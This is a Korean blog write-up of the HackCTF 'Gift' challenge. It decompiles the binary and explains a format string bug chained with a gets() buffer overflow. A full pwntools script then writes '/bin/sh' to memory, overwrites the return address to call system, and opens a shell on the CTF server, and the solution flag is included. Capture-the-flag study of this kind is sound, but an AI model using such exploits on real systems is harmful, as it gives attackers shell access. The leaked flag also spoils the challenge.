-
GiftCTF/HackCTF 2021. 2. 1. 05:25
Disassembly 디스어셈블리
undefined4 main(void) { int32_t unaff_EBX; char *format; int32_t var_4h; __x86.get_pc_thunk.bx(); alarm(0x3c); setvbuf(**(undefined4 **)(unaff_EBX + 0x138e), 0, 2, 0); setvbuf(**(undefined4 **)(unaff_EBX + 0x138a), 0, 2, 0); setvbuf(**(undefined4 **)(unaff_EBX + 0x137e), 0, 2, 0); printf(unaff_EBX + 0x13e, binsh, *(undefined4 *)(unaff_EBX + 0x1382)); fgets(&format, 0x80, **(undefined4 **)(unaff_EBX + 0x138a)); printf(&format); gets(&format); return 0; }
main은 주소 두 개를 출력하고 fgest로 0x80바이트만큼 입력받은 후 printf로 이를 출력하고, 다시 gets로 입력받는다.
따라서 포맷 스트링 버그와 버퍼 오버플로우가 연달아 발생한다.
gdb를 통해 확인해 보면 출력되는 주소는 각각 쓰기 권한이 있는 빈 영역과 system 함수를 가리킨다.
Format String Bug
binsh에 "/bin/sh" 문자열을 덮어쓰기 위해 포맷 스트링 버그를 이용하자.
def send_payload(payload): log.info("payload = %s" % repr(payload)) p.sendline(payload) f = FmtStr(send_payload, offset = 1) f.write(binsh, b"/bin/sh\x00") f.execute_writes()
RET Overwrite
연이어서 스택 버퍼 오버플로우가 발생하므로 이미 알고 있는 주소를 바탕으로 return address를 조작해 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.
payload = b"A"*0x88 payload += p32(system) payload += b"A"*0x4 payload += p32(binsh) p.sendline(payload)
Code
더보기from pwn import * binary = "./gift" server = "ctf.j0n9hyun.xyz" port = 3018 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) p.recvuntil("Hey guyssssssssss here you are: ") binsh = int(p.recv(9), 16) p.recvuntil(" ") system = int(p.recv(10), 16) def send_payload(payload): log.info("payload = %s" % repr(payload)) p.sendline(payload) f = FmtStr(send_payload, offset = 1) f.write(binsh, b"/bin/sh\x00") f.execute_writes() payload = b"A"*0x88 payload += p32(system) payload += b"A"*0x4 payload += p32(binsh) p.sendline(payload) p.interactive()
Flag
HackCTF{플래그_잘_받았지?_이게_내_선물이야!}
'CTF > HackCTF' 카테고리의 다른 글
ROP (0) 2021.02.01 You are silver (0) 2021.02.01 Loot at me (0) 2021.02.01 RTL_Core (0) 2021.02.01 Random Key (0) 2021.02.01